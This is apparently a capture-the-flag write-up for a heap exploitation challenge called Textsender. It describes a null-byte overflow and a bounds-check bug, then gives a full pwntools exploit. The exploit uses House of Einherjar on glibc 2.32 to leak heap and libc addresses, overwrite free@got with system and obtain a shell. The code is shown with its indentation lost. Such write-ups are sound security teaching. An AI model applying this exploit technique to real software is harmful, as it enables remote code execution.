# Textsender
## Vulnerabilities
There is a one null byte overflow in the function `input` with this we can apply house of einherjar technique, you can find detail of the technique for libc 2.32 in [here](https://github.com/shellphish/how2heap/blob/master/glibc_2.32/house_of_einherjar.c). This technique also requires us to have a heap leak.
Another vulnerability is in function `edit_message`, there is no boudary check in the below section of code which allows us to leak some value on the heap


## Exploitation
Here is the skeleton code
```python
#!/usr/bin/env python3
from pwn import *
e = ELF("./textsender_patched")
libc = ELF("./libc-2.32.so")
ld = ELF("./ld-2.32.so")
context.binary = e
gs = """
c
"""
if args.REMOTE:
p = remote("chals.sekai.team", 1337)
else:
p = process([e.path])
if args.GDB:
gdb.attach(p,gs)
def set_sender(name):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"name: ", name)
def add_msg(dst, msg):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"Receiver: ", dst)
p.sendlineafter(b"Message: ", msg)
def edit_msg(name, msg):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Name: ", name)
p.sendlineafter(b"message: ", msg)
def print_all():
p.sendlineafter(b"> ", b"4")
def send_all():
p.sendlineafter(b"> ", b"5")
def free_size(size):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Name: ", B"X"*size)
```
First, we will get the heap leak with the vulnerability in function `edit_message`, basically, we just brute-force to get the heap leak.
```python
add_msg(b"AAAA", b"BBBB")
add_msg(b"CCCC", b"DDDD")
send_all()
set_sender(b"testing")
add_msg(b"E"*8, b"testingbu")
prefix = b"E"*8 + p64(0)*14 + p64(0x201)
count = 0
while count <= 3:
found = False
for i in range(1,256):
if i == 0xa:
continue
name = prefix + p8(i)
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Name: ", name)
if b"[-]" in p.recvline():
continue
else:
found = True
prefix += p8(i)
count += 1
p.sendline(f"sucess_{count}".encode())
if not found:
break
heap_leak = u64(prefix[128:].ljust(8, b"\x00"))
heap_base = heap_leak << 12
print("heap leak: " + str(hex(heap_leak)))
```
View the heap then you know why the `prefix = b"E"*8 + p64(0)*14 + p64(0x201)`

Next, I am going to apply the house of einherjar technique, but I will forge the heap layout to make it easier to exploit with these lines of code
```python
send_all()
set_sender(b"testing")
add_msg(b"E"*8, b"testingbu")
send_all()
add_msg(b"AAAA", b"BBBB")
add_msg(b"CCCC", b"DDDD")
send_all()
```
Now is the house of einherjar
```pyhon
for i in range(6):
add_msg(b"chunk_0", b"chunk_0")
addr = heap_base + 7216
fake_chunk = b"A"*464 + p64(0) + p64(0xc0) + p64(addr)*2
add_msg(b"chunk_1", fake_chunk)
add_msg(p64(0)*14 + p64(0xc0), b"DDDD2")
set_sender(b"padding")
send_all()
```
This is the state of the heap before the `send_all()`

After `send_all()`, we can observe that chunks are overlapped

Now is the remaining part of the technique, leak libc then overwrite `free@got` with `system`
```python
for i in range(7):
add_msg(b"chunk_0", b"chunk_0")
target = p64(0)*3 + p64(0x21) + p64(heap_base+7296) + p64(e.got["free"])
add_msg(b"/bin/sh", target)
print_all()
p.recvuntil(b"/bin/sh: ")
libc_leak = u64(p.recvline().strip().ljust(8, b"\x00")) - libc.symbols["free"]
set_sender(b"/bin/sh")
edit_msg(b"/bin/sh", p64(libc_leak + libc.symbols["system"]))
p.interactive()
```
Ful script
```python
#!/usr/bin/env python3
from pwn import *
e = ELF("./textsender_patched")
libc = ELF("./libc-2.32.so")
ld = ELF("./ld-2.32.so")
context.binary = e
gs = """
c
"""
if args.REMOTE:
p = remote("chals.sekai.team", 1337)
else:
p = process([e.path])
if args.GDB:
gdb.attach(p,gs)
def set_sender(name):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"name: ", name)
def add_msg(dst, msg):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"Receiver: ", dst)
p.sendlineafter(b"Message: ", msg)
def edit_msg(name, msg):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Name: ", name)
p.sendlineafter(b"message: ", msg)
def print_all():
p.sendlineafter(b"> ", b"4")
def send_all():
p.sendlineafter(b"> ", b"5")
def free_size(size):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Name: ", B"X"*size)
add_msg(b"AAAA", b"BBBB")
add_msg(b"CCCC", b"DDDD")
send_all()
set_sender(b"testing")
add_msg(b"E"*8, b"testingbu")
# input("wait")
prefix = b"E"*8 + p64(0)*14 + p64(0x201)
count = 0
while count <= 3:
found = False
for i in range(1,256):
if i == 0xa:
continue
name = prefix + p8(i)
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Name: ", name)
if b"[-]" in p.recvline():
continue
else:
found = True
prefix += p8(i)
count += 1
p.sendline(f"sucess_{count}".encode())
if not found:
break
heap_leak = u64(prefix[128:].ljust(8, b"\x00"))
heap_base = heap_leak << 12
print("heap leak: " + str(hex(heap_leak)))
send_all()
set_sender(b"testing")
add_msg(b"E"*8, b"testingbu")
send_all()
add_msg(b"AAAA", b"BBBB")
add_msg(b"CCCC", b"DDDD")
send_all()
# input("wait")
for i in range(6):
add_msg(b"chunk_0", b"chunk_0")
addr = heap_base + 7216
fake_chunk = b"A"*464 + p64(0) + p64(0xc0) + p64(addr)*2
add_msg(b"chunk_1", fake_chunk)
add_msg(p64(0)*14 + p64(0xc0), b"DDDD2")
set_sender(b"padding")
send_all()
for i in range(7):
add_msg(b"chunk_0", b"chunk_0")
target = p64(0)*3 + p64(0x21) + p64(heap_base+7296) + p64(e.got["free"])
add_msg(b"/bin/sh", target)
print_all()
p.recvuntil(b"/bin/sh: ")
libc_leak = u64(p.recvline().strip().ljust(8, b"\x00")) - libc.symbols["free"]
set_sender(b"/bin/sh")
edit_msg(b"/bin/sh", p64(libc_leak + libc.symbols["system"]))
p.interactive()
```